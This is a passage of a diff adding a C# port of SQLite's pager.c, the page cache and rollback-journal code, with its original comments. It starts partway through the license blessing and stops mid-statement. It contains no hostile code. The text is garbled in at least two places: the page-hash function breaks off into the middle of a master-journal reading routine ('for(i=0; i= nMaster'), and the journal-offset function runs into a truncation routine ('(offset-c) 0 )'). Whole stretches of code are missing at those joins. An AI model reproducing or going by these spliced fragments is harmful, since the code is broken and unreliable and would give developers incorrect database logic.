copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the implementation of the page cache subsystem or "pager". + ** + ** The pager is used to access a database disk file. It implements + ** atomic commit and rollback through the use of a journal file that + ** is separate from the database file. The pager also implements file + ** locking to prevent two processes from writing the same database + ** file simultaneously, or one process from reading the database while + ** another is writing. + ** + ** @(#) $Id: pager.c,v 1.629 2009/08/10 17:48:57 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ +#if !SQLITE_OMIT_DISKIO + //#include "sqliteInt.h" + + + /* + ** Macros for troubleshooting. Normally turned off + */ +#if TRACE + + static bool sqlite3PagerTrace = false; /* True to enable tracing */ + //#define sqlite3DebugPrintf printf + //#define PAGERTRACE(X) if( sqlite3PagerTrace ){ sqlite3DebugPrintf X; } + static void PAGERTRACE( string T, params object[] ap ) { if ( sqlite3PagerTrace )sqlite3DebugPrintf( T, ap ); } +#else +//#define PAGERTRACE(X) +static void PAGERTRACE( string T, params object[] ap ) { } +#endif + + /* +** The following two macros are used within the PAGERTRACE() macros above +** to print out file-descriptors. +** +** PAGERID() takes a pointer to a Pager struct as its argument. The +** associated file-descriptor is returned. FILEHANDLEID() takes an sqlite3_file +** struct as its argument. +*/ + //#define PAGERID(p) ((int)(p.fd)) + static int PAGERID( Pager p ) { return p.GetHashCode(); } + + //#define FILEHANDLEID(fd) ((int)fd) + static int FILEHANDLEID( sqlite3_file fd ) { return fd.GetHashCode(); } + + /* + ** The page cache as a whole is always in one of the following + ** states: + ** + ** PAGER_UNLOCK The page cache is not currently reading or + ** writing the database file. There is no + ** data held in memory. This is the initial + ** state. + ** + ** PAGER_SHARED The page cache is reading the database. + ** Writing is not permitted. There can be + ** multiple readers accessing the same database + ** file at the same time. + ** + ** PAGER_RESERVED This process has reserved the database for writing + ** but has not yet made any changes. Only one process + ** at a time can reserve the database. The original + ** database file has not been modified so other + ** processes may still be reading the on-disk + ** database file. + ** + ** PAGER_EXCLUSIVE The page cache is writing the database. + ** Access is exclusive. No other processes or + ** threads can be reading or writing while one + ** process is writing. + ** + ** PAGER_SYNCED The pager moves to this state from PAGER_EXCLUSIVE + ** after all dirty pages have been written to the + ** database file and the file has been synced to + ** disk. All that remains to do is to remove or + ** truncate the journal file and the transaction + ** will be committed. + ** + ** The page cache comes up in PAGER_UNLOCK. The first time a + ** sqlite3PagerGet() occurs, the state transitions to PAGER_SHARED. + ** After all pages have been released using sqlite_page_unref(), + ** the state transitions back to PAGER_UNLOCK. The first time + ** that sqlite3PagerWrite() is called, the state transitions to + ** PAGER_RESERVED. (Note that sqlite3PagerWrite() can only be + ** called on an outstanding page which means that the pager must + ** be in PAGER_SHARED before it transitions to PAGER_RESERVED.) + ** PAGER_RESERVED means that there is an open rollback journal. + ** The transition to PAGER_EXCLUSIVE occurs before any changes + ** are made to the database file, though writes to the rollback + ** journal occurs with just PAGER_RESERVED. After an sqlite3PagerRollback() + ** or sqlite3PagerCommitPhaseTwo(), the state can go back to PAGER_SHARED, + ** or it can stay at PAGER_EXCLUSIVE if we are in exclusive access mode. + */ + const int PAGER_UNLOCK = 0; + const int PAGER_SHARED = 1; /* same as SHARED_LOCK */ + const int PAGER_RESERVED = 2; /* same as RESERVED_LOCK */ + const int PAGER_EXCLUSIVE = 4; /* same as EXCLUSIVE_LOCK */ + const int PAGER_SYNCED = 5; + + /* + ** A macro used for invoking the codec if there is one + */ +#if SQLITE_HAS_CODEC +//# define CODEC1(P,D,N,X,E) \ +if( P->xCodec && P->xCodec(P->pCodec,D,N,X)==0 ){ E; } +//# define CODEC2(P,D,N,X,E,O) \ +if( P->xCodec==0 ){ O=(char*)D; }else \ +if( (O=(char*)(P->xCodec(P->pCodec,D,N,X)))==0 ){ E; } +#else + //# define CODEC1(P,D,N,X,E) /* NO-OP */ + //# define CODEC2(P,D,N,X,E,O) O=(char*)D + static void CODEC2( Pager P, byte[] D, uint N, int X, int E, ref byte[] O ) { O = D; } +#endif + + /* +** The maximum allowed sector size. 64KiB. If the xSectorsize() method +** returns a value larger than this, then MAX_SECTOR_SIZE is used instead. +** This could conceivably cause corruption following a power failure on +** such a system. This is currently an undocumented limit. +*/ + //#define MAX_SECTOR_SIZE 0x10000 + const int MAX_SECTOR_SIZE = 0x10000; + + /* + ** An instance of the following structure is allocated for each active + ** savepoint and statement transaction in the system. All such structures + ** are stored in the Pager.aSavepoint[] array, which is allocated and + ** resized using sqlite3Realloc(). + ** + ** When a savepoint is created, the PagerSavepoint.iHdrOffset field is + ** set to 0. If a journal-header is written into the main journal while + ** the savepoint is active, then iHdrOffset is set to the byte offset + ** immediately following the last journal record written into the main + ** journal before the journal-header. This is required during savepoint + ** rollback (see pagerPlaybackSavepoint()). + */ + //typedef struct PagerSavepoint PagerSavepoint; + public class PagerSavepoint + { + public i64 iOffset; /* Starting offset in main journal */ + public i64 iHdrOffset; /* See above */ + public Bitvec pInSavepoint; /* Set of pages in this savepoint */ + public Pgno nOrig; /* Original number of pages in file */ + public Pgno iSubRec; /* Index of first record in sub-journal */ + public static implicit operator bool( PagerSavepoint b ) + { + return ( b != null ); + } + }; + + + /* + ** A open page cache is an instance of the following structure. + ** + ** errCode + ** + ** Pager.errCode may be set to SQLITE_IOERR, SQLITE_CORRUPT, or + ** or SQLITE_FULL. Once one of the first three errors occurs, it persists + ** and is returned as the result of every major pager API call. The + ** SQLITE_FULL return code is slightly different. It persists only until the + ** next successful rollback is performed on the pager cache. Also, + ** SQLITE_FULL does not affect the sqlite3PagerGet() and sqlite3PagerLookup() + ** APIs, they may still be used successfully. + ** + ** dbSizeValid, dbSize, dbOrigSize, dbFileSize + ** + ** Managing the size of the database file in pages is a little complicated. + ** The variable Pager.dbSize contains the number of pages that the database + ** image currently contains. As the database image grows or shrinks this + ** variable is updated. The variable Pager.dbFileSize contains the number + ** of pages in the database file. This may be different from Pager.dbSize + ** if some pages have been appended to the database image but not yet written + ** out from the cache to the actual file on disk. Or if the image has been + ** truncated by an incremental-vacuum operation. The Pager.dbOrigSize variable + ** contains the number of pages in the database image when the current + ** transaction was opened. The contents of all three of these variables is + ** only guaranteed to be correct if the boolean Pager.dbSizeValid is true. + ** + ** TODO: Under what conditions is dbSizeValid set? Cleared? + ** + ** changeCountDone + ** + ** This boolean variable is used to make sure that the change-counter + ** (the 4-byte header field at byte offset 24 of the database file) is + ** not updated more often than necessary. + ** + ** It is set to true when the change-counter field is updated, which + ** can only happen if an exclusive lock is held on the database file. + ** It is cleared (set to false) whenever an exclusive lock is + ** relinquished on the database file. Each time a transaction is committed, + ** The changeCountDone flag is inspected. If it is true, the work of + ** updating the change-counter is omitted for the current transaction. + ** + ** This mechanism means that when running in exclusive mode, a connection + ** need only update the change-counter once, for the first transaction + ** committed. + ** + ** dbModified + ** + ** The dbModified flag is set whenever a database page is dirtied. + ** It is cleared at the end of each transaction. + ** + ** It is used when committing or otherwise ending a transaction. If + ** the dbModified flag is clear then less work has to be done. + ** + ** journalStarted + ** + ** This flag is set whenever the the main journal is synced. + ** + ** The point of this flag is that it must be set after the + ** first journal header in a journal file has been synced to disk. + ** After this has happened, new pages appended to the database + ** do not need the PGHDR_NEED_SYNC flag set, as they do not need + ** to wait for a journal sync before they can be written out to + ** the database file (see function pager_write()). + ** + ** setMaster + ** + ** This variable is used to ensure that the master journal file name + ** (if any) is only written into the journal file once. + ** + ** When committing a transaction, the master journal file name (if any) + ** may be written into the journal file while the pager is still in + ** PAGER_RESERVED state (see CommitPhaseOne() for the action). It + ** then attempts to upgrade to an exclusive lock. If this attempt + ** fails, then SQLITE_BUSY may be returned to the user and the user + ** may attempt to commit the transaction again later (calling + ** CommitPhaseOne() again). This flag is used to ensure that the + ** master journal name is only written to the journal file the first + ** time CommitPhaseOne() is called. + ** + ** doNotSync + ** + ** This variable is set and cleared by sqlite3PagerWrite(). + ** + ** needSync + ** + ** TODO: It might be easier to set this variable in writeJournalHdr() + ** and writeMasterJournal() only. Change its meaning to "unsynced data + ** has been written to the journal". + ** + ** subjInMemory + ** + ** This is a boolean variable. If true, then any required sub-journal + ** is opened as an in-memory journal file. If false, then in-memory + ** sub-journals are only used for in-memory pager files. + */ + public class Pager + { + public sqlite3_vfs pVfs; /* OS functions to use for IO */ + public bool exclusiveMode; /* Boolean. True if locking_mode==EXCLUSIVE */ + public u8 journalMode; /* On of the PAGER_JOURNALMODE_* values */ + public u8 useJournal; /* Use a rollback journal on this file */ + public u8 noReadlock; /* Do not bother to obtain readlocks */ + public bool noSync; /* Do not sync the journal if true */ + public bool fullSync; /* Do extra syncs of the journal for robustness */ + public int sync_flags; /* One of SYNC_NORMAL or SYNC_FULL */ + public bool tempFile; /* zFilename is a temporary file */ + public bool readOnly; /* True for a read-only database */ + public bool alwaysRollback; /* Disable DontRollback() for all pages */ + public u8 memDb; /* True to inhibit all file I/O */ + /* The following block contains those class members that are dynamically + ** modified during normal operations. The other variables in this structure + ** are either constant throughout the lifetime of the pager, or else + ** used to store configuration parameters that affect the way the pager + ** operates. + ** + ** The 'state' variable is described in more detail along with the + ** descriptions of the values it may take - PAGER_UNLOCK etc. Many of the + ** other variables in this block are described in the comment directly + ** above this class definition. + */ + public u8 state; /* PAGER_UNLOCK, _SHARED, _RESERVED, etc. */ + public bool dbModified; /* True if there are any changes to the Db */ + public bool needSync; /* True if an fsync() is needed on the journal */ + public bool journalStarted; /* True if header of journal is synced */ + public bool changeCountDone; /* Set after incrementing the change-counter */ + public int setMaster; /* True if a m-j name has been written to jrnl */ + public bool doNotSync; /* Boolean. While true, do not spill the cache */ + public bool dbSizeValid; /* Set when dbSize is correct */ + public u8 subjInMemory; /* True to use in-memory sub-journals */ + public Pgno dbSize; /* Number of pages in the database */ + public Pgno dbOrigSize; /* dbSize before the current transaction */ + public Pgno dbFileSize; /* Number of pages in the database file */ + public int errCode; /* One of several kinds of errors */ + public int nRec; /* Pages journalled since last j-header written */ + public u32 cksumInit; /* Quasi-random value added to every checksum */ + public u32 nSubRec; /* Number of records written to sub-journal */ + public Bitvec pInJournal; /* One bit for each page in the database file */ + public sqlite3_file fd; /* File descriptor for database */ + public sqlite3_file jfd; /* File descriptor for main journal */ + public sqlite3_file sjfd; /* File descriptor for sub-journal */ + public i64 journalOff; /* Current write offset in the journal file */ + public i64 journalHdr; /* Byte offset to previous journal header */ + public PagerSavepoint[] aSavepoint;/* Array of active savepoints */ + public int nSavepoint; /* Number of elements in aSavepoint[] */ + public u8[] dbFileVers = new u8[16];/* Changes whenever database file changes */ + public u32 sectorSize; /* Assumed sector size during rollback */ + + public u16 nExtra; /* Add this many bytes to each in-memory page */ + public i16 nReserve; /* Number of unused bytes at end of each page */ + public u32 vfsFlags; /* Flags for sqlite3_vfs.xOpen() */ + public int pageSize; /* Number of bytes in a page */ + public Pgno mxPgno; /* Maximum allowed size of the database */ + public string zFilename; /* Name of the database file */ + public string zJournal; /* Name of the journal file */ + public dxBusyHandler xBusyHandler; /* Function to call when busy */ + public object pBusyHandlerArg; /* Context argument for xBusyHandler */ +#if SQLITE_TEST || DEBUG + public int nHit, nMiss; /* Cache hits and missing */ + public int nRead, nWrite; /* Database pages read/written */ +#else + public int nHit; +#endif + public dxReiniter xReiniter; //(DbPage*,int);/* Call this routine when reloading pages */ +#if SQLITE_HAS_CODEC +void *(*xCodec)(void*,void*,Pgno,int); /* Routine for en/decoding data */ +void (*xCodecSizeChng)(void*,int,int); /* Notify of page size changes */ +void (*xCodecFree)(void*); /* Destructor for the codec */ +void *pCodec; /* First argument to xCodec... methods */ +#endif + public byte[] pTmpSpace; /* Pager.pageSize bytes of space for tmp use */ + public i64 journalSizeLimit; /* Size limit for persistent journal files */ + public PCache pPCache; /* Pointer to page cache object */ + public sqlite3_backup pBackup; /* Pointer to list of ongoing backup processes */ + }; + + /* + ** The following global variables hold counters used for + ** testing purposes only. These variables do not exist in + ** a non-testing build. These variables are not thread-safe. + */ +#if SQLITE_TEST + //static int sqlite3_pager_readdb_count = 0; /* Number of full pages read from DB */ + //static int sqlite3_pager_writedb_count = 0; /* Number of full pages written to DB */ + //static int sqlite3_pager_writej_count = 0; /* Number of pages written to journal */ + static void PAGER_INCR( ref int v ) { v++; } +#else +//# define PAGER_INCR(v) + static void PAGER_INCR(ref int v) {} +#endif + + /* +** Journal files begin with the following magic string. The data +** was obtained from /dev/random. It is used only as a sanity check. +** +** Since version 2.8.0, the journal format contains additional sanity +** checking information. If the power fails while the journal is being +** written, semi-random garbage data might appear in the journal +** file after power is restored. If an attempt is then made +** to roll the journal back, the database could be corrupted. The additional +** sanity checking data is an attempt to discover the garbage in the +** journal and ignore it. +** +** The sanity checking information for the new journal format consists +** of a 32-bit checksum on each page of data. The checksum covers both +** the page number and the pPager.pageSize bytes of data for the page. +** This cksum is initialized to a 32-bit random value that appears in the +** journal file right after the header. The random initializer is important, +** because garbage data that appears at the end of a journal is likely +** data that was once in other files that have now been deleted. If the +** garbage data came from an obsolete journal file, the checksums might +** be correct. But by initializing the checksum to random value which +** is different for every journal, we minimize that risk. +*/ + static byte[] aJournalMagic = new byte[] { +0xd9, 0xd5, 0x05, 0xf9, 0x20, 0xa1, 0x63, 0xd7, +}; + /* + ** The size of the of each page record in the journal is given by + ** the following macro. + */ + //#define JOURNAL_PG_SZ(pPager) ((pPager.pageSize) + 8) + static int JOURNAL_PG_SZ( Pager pPager ) + { return ( pPager.pageSize + 8 ); } + + /* + ** The journal header size for this pager. This is usually the same + ** size as a single disk sector. See also setSectorSize(). + */ + //#define JOURNAL_HDR_SZ(pPager) (pPager.sectorSize) + static u32 JOURNAL_HDR_SZ( Pager pPager ) + { return ( pPager.sectorSize ); } + + /* + ** The macro MEMDB is true if we are dealing with an in-memory database. + ** We do this as a macro so that if the SQLITE_OMIT_MEMORYDB macro is set, + ** the value of MEMDB will be a constant and the compiler will optimize + ** out code that would never execute. + */ +#if SQLITE_OMIT_MEMORYDB +//# define MEMDB 0 + const int MEMDB = 0; +#else + //# define MEMDB pPager.memDb +#endif + + /* +** The maximum legal page number is (2^31 - 1). +*/ + //#define PAGER_MAX_PGNO 2147483647 + const int PAGER_MAX_PGNO = 2147483647; + +#if !NDEBUG + /* +** Usage: +** +** assert( assert_pager_state(pPager) ); +*/ + static bool assert_pager_state( Pager pPager ) + { + + /* A temp-file is always in PAGER_EXCLUSIVE or PAGER_SYNCED state. */ + Debug.Assert( pPager.tempFile == false || pPager.state >= PAGER_EXCLUSIVE ); + + /* The changeCountDone flag is always set for temp-files */ + Debug.Assert( pPager.tempFile == false || pPager.changeCountDone ); + + return true; + } +#else + static bool assert_pager_state(Pager pPager) { return true; } +#endif + + /* +** Return true if it is necessary to write page *pPg into the sub-journal. +** A page needs to be written into the sub-journal if there exists one +** or more open savepoints for which: +** +** * The page-number is less than or equal to PagerSavepoint.nOrig, and +** * The bit corresponding to the page-number is not set in +** PagerSavepoint.pInSavepoint. +*/ + static bool subjRequiresPage( PgHdr pPg ) + { + u32 pgno = pPg.pgno; + Pager pPager = pPg.pPager; + int i; + for ( i = 0 ; i < pPager.nSavepoint ; i++ ) + { + PagerSavepoint p = pPager.aSavepoint[i]; + if ( p.nOrig >= pgno && 0 == sqlite3BitvecTest( p.pInSavepoint, pgno ) ) + { + return true; + } + } + return false; + } + + /* + ** Return true if the page is already in the journal file. + */ + static bool pageInJournal( PgHdr pPg ) + { + return sqlite3BitvecTest( pPg.pPager.pInJournal, pPg.pgno ) != 0; + } + + /* + ** Read a 32-bit integer from the given file descriptor. Store the integer + ** that is read in pRes. Return SQLITE_OK if everything worked, or an + ** error code is something goes wrong. + ** + ** All values are stored on disk as big-endian. + */ + static int read32bits( sqlite3_file fd, int offset, ref int pRes ) + { + u32 u32_pRes = 0; + int rc = read32bits( fd, offset, ref u32_pRes ); + pRes = (int)u32_pRes; return rc; + } + static int read32bits( sqlite3_file fd, i64 offset, ref u32 pRes ) + { + int rc = read32bits( fd, (int)offset, ref pRes ); + return rc; + } + static int read32bits( sqlite3_file fd, int offset, ref u32 pRes ) + { + byte[] ac = new byte[4]; + int rc = sqlite3OsRead( fd, ac, ac.Length, offset ); + if ( rc == SQLITE_OK ) + { + pRes = sqlite3Get4byte( ac ); + } + return rc; + } + + /* + ** Write a 32-bit integer into a string buffer in big-endian byte order. + */ + //#define put32bits(A,B) sqlite3sqlite3Put4byte((u8*)A,B) + static void put32bits( string ac, int offset, int val ) + { + byte[] A = new byte[4]; + A[0] = (byte)ac[offset + 0]; + A[1] = (byte)ac[offset + 1]; + A[2] = (byte)ac[offset + 2]; + A[3] = (byte)ac[offset + 3]; + sqlite3Put4byte( A, 0, val ); + } + static void put32bits( byte[] ac, int offset, int val ) + { sqlite3Put4byte( ac, offset, (u32)val ); } + static void put32bits( byte[] ac, u32 val ) + { sqlite3Put4byte( ac, 0U, val ); } + static void put32bits( byte[] ac, int offset, u32 val ) + { sqlite3Put4byte( ac, offset, val ); } + + /* + ** Write a 32-bit integer into the given file descriptor. Return SQLITE_OK + ** on success or an error code is something goes wrong. + */ + static int write32bits( sqlite3_file fd, i64 offset, u32 val ) + { + byte[] ac = new byte[4]; + put32bits( ac, val ); + return sqlite3OsWrite( fd, ac, 4, offset ); + } + + /* + ** The argument to this macro is a file descriptor (type sqlite3_file*). + ** Return 0 if it is not open, or non-zero (but not 1) if it is. + ** + ** This is so that expressions can be written as: + ** + ** if( isOpen(pPager.jfd) ){ ... + ** + ** instead of + ** + ** if( pPager.jfd->pMethods ){ ... + */ + //#define isOpen(pFd) ((pFd)->pMethods) + static bool isOpen( sqlite3_file pFd ) { return pFd.pMethods != null; } + + /* + ** If file pFd is open, call sqlite3OsUnlock() on it. + */ + static int osUnlock( sqlite3_file pFd, int eLock ) + { + if ( pFd.pMethods == null ) + { + return SQLITE_OK; + } + return sqlite3OsUnlock( pFd, eLock ); + } + + /* + ** This function determines whether or not the atomic-write optimization + ** can be used with this pager. The optimization can be used if: + ** + ** (a) the value returned by OsDeviceCharacteristics() indicates that + ** a database page may be written atomically, and + ** (b) the value returned by OsSectorSize() is less than or equal + ** to the page size. + ** + ** The optimization is also always enabled for temporary files. It is + ** an error to call this function if pPager is opened on an in-memory + ** database. + ** + ** If the optimization cannot be used, 0 is returned. If it can be used, + ** then the value returned is the size of the journal file when it + ** contains rollback data for exactly one page. + */ +#if SQLITE_ENABLE_ATOMIC_WRITE +static int jrnlBufferSize(Pager *pPager){ +assert( 0==MEMDB ); +if( !pPager.tempFile ){ +int dc; /* Device characteristics */ +int nSector; /* Sector size */ +int szPage; /* Page size */ + +assert( isOpen(pPager.fd) ); +dc = sqlite3OsDeviceCharacteristics(pPager.fd); +nSector = pPager.sectorSize; +szPage = pPager.pageSize; + +assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); +assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); +if( 0==(dc&(SQLITE_IOCAP_ATOMIC|(szPage>>8)) || nSector>szPage) ){ +return 0; +} +} + +return JOURNAL_HDR_SZ(pPager) + JOURNAL_PG_SZ(pPager); +} +#endif + + /* +** If SQLITE_CHECK_PAGES is defined then we do some sanity checking +** on the cache using a hash function. This is used for testing +** and debugging only. +*/ +#if SQLITE_CHECK_PAGES +/* +** Return a 32-bit hash of the page data for pPage. +*/ +static u32 pager_datahash(int nByte, unsigned char pData){ +u32 hash = 0; +int i; +for(i=0; i= nMaster + || SQLITE_OK != ( rc = read32bits( pJrnl, szJ - 12, ref cksum ) ) + || SQLITE_OK != ( rc = sqlite3OsRead( pJrnl, aMagic, 8, szJ - 8 ) ) + || memcmp( aMagic, aJournalMagic, 8 ) != 0 + || SQLITE_OK != ( rc = sqlite3OsRead( pJrnl, zMaster, len, szJ - 16 - len ) ) + ) + { + return rc; + } + + /* See if the checksum matches the master journal name */ + for ( u = 0 ; u < len ; u++ ) + { + cksum -= zMaster[u]; + } + if ( cksum != 0 ) + { + /* If the checksum doesn't add up, then one or more of the disk sectors + ** containing the master journal filename is corrupted. This means + ** definitely roll back, so just return SQLITE_OK and report a (nul) + ** master-journal filename. + */ + len = 0; + } + if ( len == 0 ) zMaster[0] = 0; + + return SQLITE_OK; + } + + /* + ** Return the offset of the sector boundary at or immediately + ** following the value in pPager.journalOff, assuming a sector + ** size of pPager.sectorSize bytes. + ** + ** i.e for a sector size of 512: + ** + ** Pager.journalOff Return value + ** --------------------------------------- + ** 0 0 + ** 512 512 + ** 100 512 + ** 2000 2048 + ** + */ + static i64 journalHdrOffset( Pager pPager ) + { + i64 offset = 0; + i64 c = pPager.journalOff; + if ( c != 0 ) + { + offset = (int)( ( ( c - 1 ) / pPager.sectorSize + 1 ) * pPager.sectorSize );//offset = ((c-1)/JOURNAL_HDR_SZ(pPager) + 1) * JOURNAL_HDR_SZ(pPager); + } + Debug.Assert( offset % pPager.sectorSize == 0 ); //Debug.Assert(offset % JOURNAL_HDR_SZ(pPager) == 0); + Debug.Assert( offset >= c ); + Debug.Assert( ( offset - c ) < pPager.sectorSize );//Debug.Assert( (offset-c) 0 ) + { + int sz = 0; + rc = sqlite3OsFileSize( pPager.jfd, ref sz ); + if ( rc == SQLITE_OK && sz > iLimit ) + { + rc = sqlite3OsTruncate( pPager.jfd, (int)iLimit ); + } + } + } + return rc; + } + + /* + ** The journal file must be open when this routine is called. A journal + ** header (JOURNAL_HDR_SZ bytes) is written into the journal file at the + ** current location. + ** + ** The format for the journal header is as follows: + ** - 8 bytes: Magic identifying journal format. + ** - 4 bytes: Number of records in journal, or -1 no-sync mode is on. + ** - 4 bytes: Random number used for page hash. + ** - 4 bytes: Initial database page count. + ** - 4 bytes: Sector size used by the process that wrote this journal. + ** - 4 bytes: Database page size. + ** + ** Followed by (JOURNAL_HDR_SZ - 28) bytes of unused space. + */ + static int writeJournalHdr( Pager pPager ) + { + + int rc = SQLITE_OK; /* Return code */ + byte[] zHeader = pPager.pTmpSpace; /* Temporary space used to build header */ + u32 nHeader = (u32)pPager.pageSize; /* Size of buffer pointed to by zHeader */ + u32 nWrite; /* Bytes of header sector written */ + int ii; /* Loop counter */ + + Debug.Assert( isOpen( pPager.jfd ) ); /* Journal file must be open. */ + + if ( nHeader > JOURNAL_HDR_SZ( pPager ) ) + { + nHeader = JOURNAL_HDR_SZ( pPager ); + } + /* If there are active savepoints and any of them were created + ** since the most recent journal header was written, update the + ** PagerSavepoint.iHdrOffset fields now. + */ + for ( ii = 0 ; ii < pPager.nSavepoint ; ii++ ) + { + if ( pPager.aSavepoint[ii].iHdrOffset == 0 ) + { + pPager.aSavepoint[ii].iHdrOffset = pPager.journalOff; + } + } + pPager.journalHdr = pPager.journalOff = journalHdrOffset( pPager ); + + /* + ** Write the nRec Field - the number of page records that follow this + ** journal header. Normally, zero is written to this value at this time. + ** After the records are added to the journal (and the journal synced, + ** if in full-sync mode), the zero is overwritten with the true number + ** of records (see syncJournal()). + ** + ** A faster alternative is to write 0xFFFFFFFF to the nRec field. When + ** reading the journal this value tells SQLite to assume that the + ** rest of the journal file contains valid page records. This assumption + ** is dangerous, as if a failure occurred whilst writing to the journal + ** file it may contain some garbage data. There are two scenarios + ** where this risk can be ignored: + ** + ** * When the pager is in no-sync mode. Corruption can follow a + ** power failure in this case anyway. + ** + ** * When the SQLITE_IOCAP_SAFE_APPEND flag is set. This guarantees + ** that garbage data is never appended to the journal file. + */ + Debug.Assert( isOpen( pPager.fd ) || pPager.noSync ); + if ( ( pPager.noSync ) || ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ) + || ( sqlite3OsDeviceCharacteristics( pPager.fd ) & SQLITE_IOCAP_SAFE_APPEND ) != 0 + ) + { + aJournalMagic.CopyTo( zHeader, 0 );// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); + put32bits( zHeader, aJournalMagic.Length, 0xffffffff ); + } + else + { + zHeader[0] = 0; + put32bits( zHeader, aJournalMagic.Length, 0 ); + } + + /* The random check-hash initialiser */ + i64 i64Temp = 0; + sqlite3_randomness( sizeof( i64 ), ref i64Temp ); + pPager.cksumInit = (u32)i64Temp; + put32bits( zHeader, aJournalMagic.Length + 4, pPager.cksumInit ); + /* The initial database size */ + put32bits( zHeader, aJournalMagic.Length + 8, pPager.dbOrigSize ); + /* The assumed sector size for this process */ + put32bits( zHeader, aJournalMagic.Length + 12, pPager.sectorSize ); + /* The page size */ + put32bits( zHeader, aJournalMagic.Length + 16, (u32)pPager.pageSize ); + + /* Initializing the tail of the buffer is not necessary. Everything + ** works find if the following memset() is omitted. But initializing + ** the memory prevents valgrind from complaining, so we are willing to + ** take the performance hit. + */ + // memset(&zHeader[sizeof(aJournalMagic)+20], 0, + // nHeader-(sizeof(aJournalMagic)+20)); + Array.Clear( zHeader, aJournalMagic.Length + 20, (int)nHeader - ( aJournalMagic.Length + 20 ) ); + + /* In theory, it is only necessary to write the 28 bytes that the + ** journal header consumes to the journal file here. Then increment the + ** Pager.journalOff variable by JOURNAL_HDR_SZ so that the next + ** record is written to the following sector (leaving a gap in the file + ** that will be implicitly filled in by the OS). + ** + ** However it has been discovered that on some systems this pattern can + ** be significantly slower than contiguously writing data to the file, + ** even if that means explicitly writing data to the block of + ** (JOURNAL_HDR_SZ - 28) bytes that will not be used. So that is what + ** is done. + ** + ** The loop is required here in case the sector-size is larger than the + ** database page size. Since the zHeader buffer is only Pager.pageSize + ** bytes in size, more than one call to sqlite3OsWrite() may be required + ** to populate the entire journal header sector. + */ + for ( nWrite = 0 ; rc == SQLITE_OK && nWrite < JOURNAL_HDR_SZ( pPager ) ; nWrite += nHeader ) + { + IOTRACE( "JHDR %p %lld %d\n", pPager, pPager.journalHdr, nHeader ); + rc = sqlite3OsWrite( pPager.jfd, zHeader, (int)nHeader, pPager.journalOff ); + pPager.journalOff += (int)nHeader; + } + return rc; + } + + /* + ** The journal file must be open when this is called. A journal header file + ** (JOURNAL_HDR_SZ bytes) is read from the current location in the journal + ** file. The current location in the journal file is given by + ** pPager.journalOff. See comments above function writeJournalHdr() for + ** a description of the journal header format. + ** + ** If the header is read successfully, *pNRec is set to the number of + ** page records following this header and *pDbSize is set to the size of the + ** database before the transaction began, in pages. Also, pPager.cksumInit + ** is set to the value read from the journal header. SQLITE_OK is returned + ** in this case. + ** + ** If the journal header file appears to be corrupted, SQLITE_DONE is + ** returned and *pNRec and *PDbSize are undefined. If JOURNAL_HDR_SZ bytes + ** cannot be read from the journal file an error code is returned. + */ + static int readJournalHdr( + Pager pPager, /* Pager object */ + int isHot, + i64 journalSize, /* Size of the open journal file in bytes */ + ref u32 pNRec, /* OUT: Value read from the nRec field */ + ref u32 pDbSize /* OUT: Value of original database size field */ + ) + { + int rc; /* Return code */ + byte[] aMagic = new byte[8]; /* A buffer to hold the magic header */ + i64 iHdrOff; /* Offset of journal header being read */ + + Debug.Assert( isOpen( pPager.jfd ) ); /* Journal file must be open. */ + + /* Advance Pager.journalOff to the start of the next sector. If the + ** journal file is too small for there to be a header stored at this + ** point, return SQLITE_DONE. + */ + pPager.journalOff = journalHdrOffset( pPager ); + if ( pPager.journalOff + JOURNAL_HDR_SZ( pPager ) > journalSize ) + { + return SQLITE_DONE; + } + iHdrOff = pPager.journalOff; + + /* Read in the first 8 bytes of the journal header. If they do not match + ** the magic string found at the start of each journal header, return + ** SQLITE_DONE. If an IO error occurs, return an error code. Otherwise, + ** proceed. + */ + if ( isHot != 0 || iHdrOff != pPager.journalHdr ) + { + rc = sqlite3OsRead( pPager.jfd, aMagic, aMagic.Length, iHdrOff ); + if ( rc != 0 ) + { + return rc; + } + if ( memcmp( aMagic, aJournalMagic, aMagic.Length ) != 0 ) + { + return SQLITE_DONE; + } + } + /* Read the first three 32-bit fields of the journal header: The nRec + ** field, the checksum-initializer and the database size at the start + ** of the transaction. Return an error code if anything goes wrong. + */ + if ( SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 8, ref pNRec ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 12, ref pPager.cksumInit ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 16, ref pDbSize ) ) + ) + { + return rc; + } + + if ( pPager.journalOff == 0 ) + { + u32 iPageSize = 0; /* Page-size field of journal header */ + u32 iSectorSize = 0; /* Sector-size field of journal header */ + u16 iPageSize16; /* Copy of iPageSize in 16-bit variable */ + + /* Read the page-size and sector-size journal header fields. */ + if ( SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 20, ref iSectorSize ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 24, ref iPageSize ) ) + ) + { + return rc; + } + + /* Check that the values read from the page-size and sector-size fields + ** are within range. To be 'in range', both values need to be a power + ** of two greater than or equal to 512, and not greater than their + ** respective compile time maximum limits. + */ + if ( iPageSize < 512 || iSectorSize < 512 + || iPageSize > SQLITE_MAX_PAGE_SIZE || iSectorSize > MAX_SECTOR_SIZE + || ( ( iPageSize - 1 ) & iPageSize ) != 0 || ( ( iSectorSize - 1 ) & iSectorSize ) != 0 + ) + { + /* If the either the page-size or sector-size in the journal-header is + ** invalid, then the process that wrote the journal-header must have + ** crashed before the header was synced. In this case stop reading + ** the journal file here. + */ + return SQLITE_DONE; + } + + /* Update the page-size to match the value read from the journal. + ** Use a testcase() macro to make sure that malloc failure within + ** PagerSetPagesize() is tested. + */ + iPageSize16 = (u16)iPageSize; + rc = sqlite3PagerSetPagesize( pPager, ref iPageSize16, -1 ); + testcase( rc != SQLITE_OK ); + Debug.Assert( rc != SQLITE_OK || iPageSize16 == 